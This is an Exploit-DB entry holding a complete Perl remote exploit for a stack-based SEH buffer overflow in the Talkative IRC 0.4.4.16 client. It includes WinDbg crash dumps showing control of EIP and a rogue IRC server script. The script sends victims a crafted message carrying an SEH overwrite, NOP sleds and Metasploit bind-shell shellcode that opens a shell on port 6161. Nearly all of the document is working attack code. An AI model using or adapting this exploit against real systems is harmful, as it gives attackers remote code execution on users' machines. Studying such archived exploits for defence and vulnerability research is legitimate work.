Talkative IRC 0.4.4.16 - Remote Stack Overflow (SEH)

EDB-ID:
8227

CVE:

EDB Verified: ✓

Author:
LIQUIDWORM

Type:
REMOTE

Exploit: / {}

Platform:
WINDOWS

Date:
2009-03-17

Vulnerable App:

```
#!/usr/bin/perl
#
# Title: Talkative IRC 0.4.4.16 Remote Stack Overflow Exploit (SEH)
#
# Summary: The easiest and fastest way to meet people online. With
Talkative IRC you can
# chat with thousands of people at the same time. Find people with the same
interests as you.
# Join channels where you can meet people speaking your language, or start
your own. No
# monthly fees or other hassle, just a download and a click. Version
0.4.4.16 makes nick list
# font customizable. Why Talkative? Mainly because it's secure, stable and
easy to use.
#
# Product web page: http://www.talkative-irc.com/
#
# Desc: Talkative IRC 0.4.4.16 suffers from a stack based buffer overflow
vulnerability that enables us
# to gain full control over the application and execute arbitrary commands.
ECX and EIP registers gets
# overwriten, so does the SEH.
#
# Tested on Microsoft Windows XP Professional SP2 (English)
#
# Ref: http://www.milw0rm.com/exploits/6654
#
#
#-----------------------------------------windbg output----------------
---------------------------------
#
# (398.ca4): Unknown exception - code 0eedfade (first chance)
# (398.3f8): Unknown exception - code 0eedfade (first chance)
# (398.3f8): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=41414141 ebx=00000000 ecx=0013f0d0 edx=00000008 esi=00000000
edi=00421c40
# eip=004d8260 esp=0013f08c ebp=0013f1c4 iopl=0         nv up ei pl nz na
pe nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
efl=00010206
# *** WARNING: Unable to verify checksum for image00400000
# *** ERROR: Module load completed but symbols could not be loaded for
image00400000
# image00400000+0xd8260:
# 004d8260 8b40f0          mov     eax,dword ptr [eax-10h]
ds:0023:41414131=????????
# 0:000> g
# (398.3f8): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=00000000 ebx=00000000 ecx=42424242 edx=7c9037d8 esi=00000000
edi=00000000
# eip=42424242 esp=0013ecbc ebp=0013ecdc iopl=0         nv up ei pl zr na
pe nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
efl=00010246
# 42424242 ??              ???
#
#-----------------------------------------windbg output----------------
---------------------------------
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#
# http://www.zeroscience.org/
```

```
#
# liquidworm {z} gmail {z} com
#
# 17.03.2009
#

use IO::Socket;

sub start_zerver()
{
    my $sock = new IO::Socket::INET(
                    Listen     =>   1,
                    LocalAddr   =>  'localhost',
                    LocalPort      =>   6667,
                    Proto      =>   'tcp'
                    );
            die unless $sock;

header();

print "\n [*] Evil IRC Server started on port 6667\n";

my $wire = $sock -> accept();

my $junky = "A" x 272;
my $next_seh = "\xeb\x06\x90\x90";
my $seh = "\x9a\x72\x85\x7c";   #0x7C85729A pop pop ret kernel32.dll
my $nop_start = "\x90" x 25;
my $nop_end = "\x90" x 10;

# win32_bind -  EXITFUNC=seh LPORT=6161 Size=709 Encoder=PexAlphaNum
http://metasploit.com
my $shellcode =
        "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
        "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
        "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
        "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
        "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e".
        "\x4d\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x36\x4b\x58".
        "\x4e\x46\x46\x42\x46\x32\x4b\x48\x45\x54\x4e\x33\x4b\x58\x4e\x37".
        "\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x44\x4a\x31\x4b\x58".
        "\x4f\x35\x42\x32\x41\x30\x4b\x4e\x49\x34\x4b\x48\x46\x33\x4b\x48".
        "\x41\x30\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c".
        "\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e".
        "\x46\x4f\x4b\x53\x46\x55\x46\x52\x4a\x42\x45\x37\x45\x4e\x4b\x58".
        "\x4f\x45\x46\x52\x41\x30\x4b\x4e\x48\x46\x4b\x38\x4e\x30\x4b\x54".
        "\x4b\x48\x4f\x35\x4e\x41\x41\x50\x4b\x4e\x43\x30\x4e\x42\x4b\x48".
        "\x49\x58\x4e\x36\x46\x32\x4e\x31\x41\x56\x43\x4c\x41\x33\x4b\x4d".
        "\x46\x36\x4b\x38\x43\x54\x42\x43\x4b\x38\x42\x54\x4e\x30\x4b\x58".
        "\x42\x57\x4e\x41\x4d\x4a\x4b\x38\x42\x34\x4a\x30\x50\x35\x4a\x56".
        "\x50\x48\x50\x54\x50\x30\x4e\x4e\x42\x35\x4f\x4f\x48\x4d\x48\x56".
        "\x43\x55\x48\x46\x4a\x46\x43\x33\x44\x53\x4a\x56\x47\x37\x43\x47".
        "\x44\x33\x4f\x35\x46\x45\x4f\x4f\x42\x4d\x4a\x36\x4b\x4c\x4d\x4e".
        "\x4e\x4f\x4b\x33\x42\x35\x4f\x4f\x48\x4d\x4f\x35\x49\x38\x45\x4e".
        "\x48\x46\x41\x48\x4d\x4e\x4a\x50\x44\x30\x45\x45\x4c\x56\x44\x50".
        "\x4f\x4f\x42\x4d\x4a\x46\x49\x4d\x49\x50\x45\x4f\x4d\x4a\x47\x35".
        "\x4f\x4f\x48\x4d\x43\x45\x43\x35\x43\x55\x43\x45\x43\x45\x43\x34".
        "\x43\x35\x43\x54\x43\x35\x4f\x4f\x42\x4d\x48\x56\x4a\x36\x4a\x51".
        "\x41\x51\x48\x46\x43\x55\x49\x38\x41\x4e\x45\x39\x4a\x46\x46\x4a".
        "\x4c\x51\x42\x37\x47\x4c\x47\x45\x4f\x4f\x48\x4d\x4c\x36\x42\x31".
        "\x41\x35\x45\x35\x4f\x4f\x42\x4d\x4a\x46\x46\x4a\x4d\x4a\x50\x42".
        "\x49\x4e\x47\x35\x4f\x4f\x48\x4d\x43\x55\x45\x35\x4f\x4f\x42\x4d".
        "\x4a\x56\x45\x4e\x49\x44\x48\x38\x49\x34\x47\x35\x4f\x4f\x48\x4d".
        "\x42\x55\x46\x35\x46\x45\x45\x35\x4f\x4f\x42\x4d\x43\x59\x4a\x46".
        "\x47\x4e\x49\x37\x48\x4c\x49\x37\x47\x35\x4f\x4f\x48\x4d\x45\x35".
        "\x4f\x4f\x42\x4d\x48\x36\x4c\x56\x46\x56\x48\x46\x4a\x36\x43\x36".
        "\x4d\x56\x49\x48\x45\x4e\x4c\x56\x42\x35\x49\x45\x49\x42\x4e\x4c".
        "\x49\x38\x47\x4e\x4c\x46\x46\x34\x49\x58\x44\x4e\x41\x53\x42\x4c".
        "\x43\x4f\x4c\x4a\x50\x4f\x44\x54\x4d\x42\x50\x4f\x44\x34\x4e\x52".
```

```
        "\x43\x59\x4d\x48\x4c\x57\x4a\x53\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x56".
        "\x44\x37\x50\x4f\x43\x4b\x48\x31\x4f\x4f\x45\x37\x46\x34\x4f\x4f".
        "\x48\x4d\x4b\x45\x47\x55\x44\x55\x41\x35\x41\x45\x41\x45\x4c\x56".
        "\x41\x50\x41\x45\x41\x55\x45\x55\x41\x45\x4f\x4f\x42\x4d\x4a\x46".
        "\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x56".
        "\x4f\x4f\x4f\x4f\x47\x43\x4f\x4f\x42\x4d\x4b\x48\x47\x35\x4e\x4f".
        "\x43\x58\x46\x4c\x46\x56\x4f\x4f\x48\x4d\x44\x45\x4f\x4f\x42\x4d".
        "\x4a\x36\x42\x4f\x4c\x48\x46\x30\x4f\x45\x43\x45\x4f\x4f\x48\x4d".
        "\x4f\x4f\x42\x4d\x5a";

print " [*] Throwing payload...\r\n";

print $wire ":irc_server.stuff 001 jox :Welcome to the Internet Relay
Network jox\r\n";

sleep(1);

print $wire ":" . "$junky" . "$next_seh" . "$seh" . "$nop_start" .
"$shellcode" . "$nop_end" . " PRIVMSG t00t : /FINGER w00t.\r\n";
}

while (1)
{
    start_zerver();
    print " [*] Talkative IRC client successfully exploited!\r\n\n";
    print " [**] Check shell on port 6161! [**]\r\n";
    next;
}

sub header()
{
    print "\n";
    print "~" x 80;
    print "\n";
    print " Talkative IRC v0.4.4.16 Remote Stack Overflow Exploit (SEH)\n";
    print "         by LiquidWorm (c) 2009\n\n";
    print "~" x 80;
    print "\n\n";
}

# milw0rm.com [2009-03-17]
```

Tags:

Advisory/Source: Link